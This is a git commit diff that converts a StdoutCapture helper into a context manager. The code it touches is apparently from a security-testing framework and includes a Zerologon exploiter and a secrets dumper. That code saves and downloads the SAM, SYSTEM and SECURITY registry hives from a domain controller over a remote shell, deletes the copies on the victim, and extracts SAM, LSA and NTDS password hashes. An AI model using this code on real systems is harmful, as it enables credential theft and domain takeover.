Use __enter__() and __exit__() for StdoutCapture

This commit is contained in:
Shreya 2021-02-17 18:55:14 +05:30
parent e0ae8381ba
commit 6c9ce028e0
3 changed files with 135 additions and 142 deletions

View File

@ -303,33 +303,32 @@ class ZerologonExploiter(HostExploiter):
remote_shell = wmiexec.get_remote_shell() remote_shell = wmiexec.get_remote_shell()
if remote_shell: if remote_shell:
output_captor = StdoutCapture() with StdoutCapture() as output_captor:
output_captor.capture_stdout_output() try:
try: # Save HKLM keys on victim.
# Save HKLM keys on victim. remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + 'reg save HKLM\\SAM sam.save && ' +
'reg save HKLM\\SAM sam.save && ' + 'reg save HKLM\\SECURITY security.save')
'reg save HKLM\\SECURITY security.save')
# Get HKLM keys locally (can't run these together because it needs to call do_get()). # Get HKLM keys locally (can't run these together because it needs to call do_get()).
remote_shell.onecmd('get system.save') remote_shell.onecmd('get system.save')
remote_shell.onecmd('get sam.save') remote_shell.onecmd('get sam.save')
remote_shell.onecmd('get security.save') remote_shell.onecmd('get security.save')
# Delete saved keys on victim. # Delete saved keys on victim.
remote_shell.onecmd( remote_shell.onecmd(
'del /f system.save sam.save security.save') 'del /f system.save sam.save security.save')
wmiexec.close() wmiexec.close()
return True return True
except Exception as e: except Exception as e:
LOG.info(f"Exception occured: {str(e)}") LOG.info(f"Exception occured: {str(e)}")
finally: finally:
info = output_captor.get_captured_stdout_output() info = output_captor.get_captured_stdout_output()
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
else: else:
raise Exception("Could not start remote shell on DC.") raise Exception("Could not start remote shell on DC.")

View File

@ -98,131 +98,129 @@ class DumpSecrets:
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self): def dump(self):
output_captor = StdoutCapture() with StdoutCapture() as output_captor:
output_captor.capture_stdout_output() dumped_secrets = ''
dumped_secrets = '' try:
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
self.__is_remote = False
self.__use_VSS_method = True
if self.__system_hive:
local_operations = LocalOperations(self.__system_hive)
bootkey = local_operations.getBootKey()
if self.__ntds_file is not None:
# Let's grab target's configuration about LM Hashes storage.
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
else:
import binascii
bootkey = binascii.unhexlify(self.__bootkey)
try:
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
self.__is_remote = False
self.__use_VSS_method = True
if self.__system_hive:
local_operations = LocalOperations(self.__system_hive)
bootkey = local_operations.getBootKey()
if self.__ntds_file is not None:
# Let's grab target's configuration about LM Hashes storage.
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
else: else:
import binascii self.__is_remote = True
bootkey = binascii.unhexlify(self.__bootkey) bootkey = None
else:
self.__is_remote = True
bootkey = None
try:
try: try:
self.connect() try:
self.connect()
except Exception as e:
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
LOG.debug(
'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
else:
raise
self.__remote_ops = RemoteOperations(
self.__smb_connection, self.__do_kerberos, self.__kdc_host)
self.__remote_ops.setExecMethod(self.__options.exec_method)
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
self.__remote_ops.enableRegistry()
bootkey = self.__remote_ops.getBootKey()
# Let's check whether target system stores LM Hashes.
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
except Exception as e: except Exception as e:
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True: self.__can_process_SAM_LSA = False
# SMBConnection failed. That might be because there was no way to log into the if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
# target system. We just have a last resort. Hope we have tickets cached and that they and self.__do_kerberos is True:
# will work # Giving some hints here when SPN target name validation is set to something different to Off.
LOG.debug( # This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
'Try -just-dc-user')
else: else:
raise LOG.error('RemoteOperations failed: %s' % str(e))
self.__remote_ops = RemoteOperations( # If RemoteOperations succeeded, then we can extract SAM and LSA.
self.__smb_connection, self.__do_kerberos, self.__kdc_host) if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
self.__remote_ops.setExecMethod(self.__options.exec_method) try:
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: if self.__is_remote is True:
self.__remote_ops.enableRegistry() SAM_file_name = self.__remote_ops.saveSAM()
bootkey = self.__remote_ops.getBootKey() else:
# Let's check whether target system stores LM Hashes. SAM_file_name = self.__sam_hive
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
except Exception as e: self.__SAM_hashes = SAMHashes(
self.__can_process_SAM_LSA = False SAM_file_name, bootkey, isRemote=self.__is_remote)
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ self.__SAM_hashes.dump()
and self.__do_kerberos is True: except Exception as e:
# Giving some hints here when SPN target name validation is set to something different to Off. LOG.error('SAM hashes extraction failed: %s' % str(e))
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + try:
'Try -just-dc-user') if self.__is_remote is True:
SECURITY_file_name = self.__remote_ops.saveSECURITY()
else:
SECURITY_file_name = self.__security_hive
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
isRemote=self.__is_remote)
self.__LSA_secrets.dumpCachedHashes()
self.__LSA_secrets.dumpSecrets()
except Exception as e:
LOG.debug(traceback.print_exc())
LOG.error('LSA hashes extraction failed: %s' % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
if self.__is_remote is True:
if self.__use_VSS_method and self.__remote_ops is not None:
NTDS_file_name = self.__remote_ops.saveNTDS()
else: else:
LOG.error('RemoteOperations failed: %s' % str(e)) NTDS_file_name = None
else:
NTDS_file_name = self.__ntds_file
# If RemoteOperations succeeded, then we can extract SAM and LSA. self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote,
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA: noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
)
try: try:
if self.__is_remote is True: self.__NTDS_hashes.dump()
SAM_file_name = self.__remote_ops.saveSAM()
else:
SAM_file_name = self.__sam_hive
self.__SAM_hashes = SAMHashes(
SAM_file_name, bootkey, isRemote=self.__is_remote)
self.__SAM_hashes.dump()
except Exception as e:
LOG.error('SAM hashes extraction failed: %s' % str(e))
try:
if self.__is_remote is True:
SECURITY_file_name = self.__remote_ops.saveSECURITY()
else:
SECURITY_file_name = self.__security_hive
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
isRemote=self.__is_remote)
self.__LSA_secrets.dumpCachedHashes()
self.__LSA_secrets.dumpSecrets()
except Exception as e: except Exception as e:
LOG.debug(traceback.print_exc()) LOG.debug(traceback.print_exc())
LOG.error('LSA hashes extraction failed: %s' % str(e)) if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. # of enough privileges to access DRSUAPI.
if self.__is_remote is True: resume_file = self.__NTDS_hashes.getResumeSessionFile()
if self.__use_VSS_method and self.__remote_ops is not None: if resume_file is not None:
NTDS_file_name = self.__remote_ops.saveNTDS() os.unlink(resume_file)
else: LOG.error(e)
NTDS_file_name = None if self.__use_VSS_method is False:
else: LOG.error(
NTDS_file_name = self.__ntds_file 'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote,
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
)
try:
self.__NTDS_hashes.dump()
except Exception as e:
LOG.debug(traceback.print_exc())
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
LOG.error(e)
if self.__use_VSS_method is False:
LOG.error(
'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
except (Exception, KeyboardInterrupt) as e:
LOG.debug(traceback.print_exc())
LOG.error(e)
if self.__NTDS_hashes is not None:
if isinstance(e, KeyboardInterrupt):
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
try:
self.cleanup() self.cleanup()
except Exception: except (Exception, KeyboardInterrupt) as e:
pass LOG.debug(traceback.print_exc())
finally: LOG.error(e)
dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys if self.__NTDS_hashes is not None:
return dumped_secrets if isinstance(e, KeyboardInterrupt):
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
try:
self.cleanup()
except Exception:
pass
finally:
dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys
return dumped_secrets
def cleanup(self): def cleanup(self):
LOG.debug('Cleaning up...') LOG.debug('Cleaning up...')

View File

@ -3,20 +3,16 @@ import sys
class StdoutCapture: class StdoutCapture:
def __init__(self): def __enter__(self) -> None:
_orig_stdout = None
_new_stdout = None
def capture_stdout_output(self) -> None:
self._orig_stdout = sys.stdout self._orig_stdout = sys.stdout
self._new_stdout = io.StringIO() self._new_stdout = io.StringIO()
sys.stdout = self._new_stdout sys.stdout = self._new_stdout
return self
def get_captured_stdout_output(self) -> str: def get_captured_stdout_output(self) -> str:
self._reset_stdout_to_original()
self._new_stdout.seek(0) self._new_stdout.seek(0)
info = self._new_stdout.read() output = self._new_stdout.read()
return info return output
def _reset_stdout_to_original(self) -> None: def __exit__(self, _, __, ___) -> None:
sys.stdout = self._orig_stdout sys.stdout = self._orig_stdout